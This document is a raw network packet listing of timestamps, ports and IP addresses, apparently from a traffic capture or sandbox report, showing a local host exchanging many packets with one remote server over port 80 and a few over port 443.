Nov 1, 2024 08:51:43.702857018 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.702900887 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.706136942 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.706173897 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.706195116 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.706202030 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.706218004 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.706245899 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.706248999 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.706264973 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.706279993 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.706286907 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.706305981 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.706324100 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.706589937 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.706605911 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.706621885 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.706633091 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.706660986 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.713325977 CET	57852	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:43.713356018 CET	443	57852	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:43.713429928 CET	57852	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:43.713758945 CET	57852	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:43.713771105 CET	443	57852	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:43.747975111 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.747992992 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.748007059 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.748086929 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.748135090 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.783308029 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.783346891 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.783361912 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.783375978 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.783400059 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.783410072 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.783415079 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.783431053 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.783448935 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.783478022 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.783735991 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.783751965 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.783766985 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.783777952 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.783782005 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.783802986 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.783830881 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.784213066 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.784252882 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.784256935 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.784272909 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.784290075 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.784302950 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.784310102 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.784326077 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.784347057 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.784368038 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.819551945 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.819569111 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.819583893 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.819622040 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.819664955 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.822946072 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.822984934 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.823000908 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.823007107 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.823016882 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.823040962 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.823077917 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.823115110 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.823122978 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.823139906 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.823158979 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.823177099 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.823446035 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.823483944 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.823518991 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.823554993 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.823587894 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.823618889 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.823626041 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.823653936 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.864835978 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.864850998 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.864865065 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.864880085 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.864938021 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.864978075 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.900173903 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.900190115 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.900204897 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.900221109 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.900262117 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.900285959 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.900300980 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.900343895 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.900352001 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.900367022 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.900389910 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.900408030 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.900722980 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.900744915 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.900760889 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.900765896 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.900775909 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.900778055 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.900794983 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.900796890 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.900810957 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.900816917 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.900836945 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.900851011 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.901530027 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.901545048 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.901559114 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.901567936 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.901582956 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.901595116 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.936465025 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.936480999 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.936496019 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.936528921 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.936558008 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.939930916 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.939946890 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.939961910 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.939975977 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.939990044 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.939990997 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.940021992 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.940054893 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.940531969 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.940547943 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.940562963 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.940581083 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.940596104 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.981672049 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.981690884 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.981714964 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.981728077 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.981833935 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.981833935 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.981833935 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.016988993 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.017004967 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.017019033 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.017107010 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.017149925 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.017165899 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.017215967 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.017215967 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.017215967 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.017469883 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.017492056 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.017498970 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.017508984 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.017518997 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.017524958 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.017540932 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.017544031 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.017568111 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.017589092 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.018120050 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.018135071 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.018156052 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.018166065 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.018171072 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.018177986 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.018188000 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.018197060 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.018204927 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.018217087 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.018237114 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.018246889 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.053298950 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.053313971 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.053338051 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.053352118 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.053436041 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.053591967 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.056890965 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.056914091 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.056930065 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.056945086 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.056962013 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.057060003 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.057140112 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.057154894 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.057171106 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.057187080 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.057215929 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.098905087 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.098941088 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.098949909 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.098958015 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.098967075 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.099123955 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.133903980 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.133919001 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.133930922 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.133939981 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.133946896 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.133955002 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.134169102 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.134355068 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.134371042 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.134386063 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.134403944 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.134442091 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.134639025 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.134654045 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.134669065 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.134685040 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.134686947 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.134710073 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.134733915 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.135082960 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.135098934 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.135113955 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.135128975 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.135128975 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.135143042 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.135165930 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.170175076 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.170191050 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.170205116 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.170221090 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.170367002 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.170367002 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.173664093 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.173698902 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.173716068 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.173729897 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.173755884 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.173773050 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.173790932 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.173806906 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.173816919 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.173844099 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.173866987 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.174021006 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.174067020 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.174086094 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.174102068 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.174134970 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.174140930 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.174144030 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.174156904 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.174180031 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.174200058 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.215547085 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.215564966 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.215584993 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.215596914 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.215604067 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.215610027 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.215624094 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.215657949 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.215810061 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.215828896 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.215851068 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.215869904 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.254628897 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.254651070 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.254664898 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.254678011 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.254688978 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.254690886 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.254703999 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.254724979 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.254734039 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.254772902 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.254947901 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.254995108 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.255042076 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.255053997 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.255064964 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.255075932 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.255085945 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.255089045 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.255095005 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.255132914 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.287107944 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.287130117 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.287143946 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.287158966 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.287230968 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.287230968 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.290491104 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.290545940 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.290560007 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.290570974 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.290595055 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.290597916 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.290607929 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.290620089 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.290633917 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.290657043 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.291033030 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.291044950 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.291081905 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.291095018 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.291120052 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.291140079 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.291153908 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.291158915 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.291177034 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.291186094 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.291196108 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.291199923 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.291227102 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.291235924 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.291744947 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.291754961 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.291794062 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.291805983 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.332448959 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.332465887 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.332489967 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.332520962 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.332550049 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.367754936 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.367769957 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.367780924 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.367826939 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.367861986 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.371578932 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.371592999 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.371603966 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.371618986 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.371643066 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.371680975 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.371685982 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.371726036 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.371750116 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.371819019 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:44.371845961 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.371895075 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.371907949 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.371920109 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:44.371937990 CET	57840	80	192.168.2.4	185.215.113.16
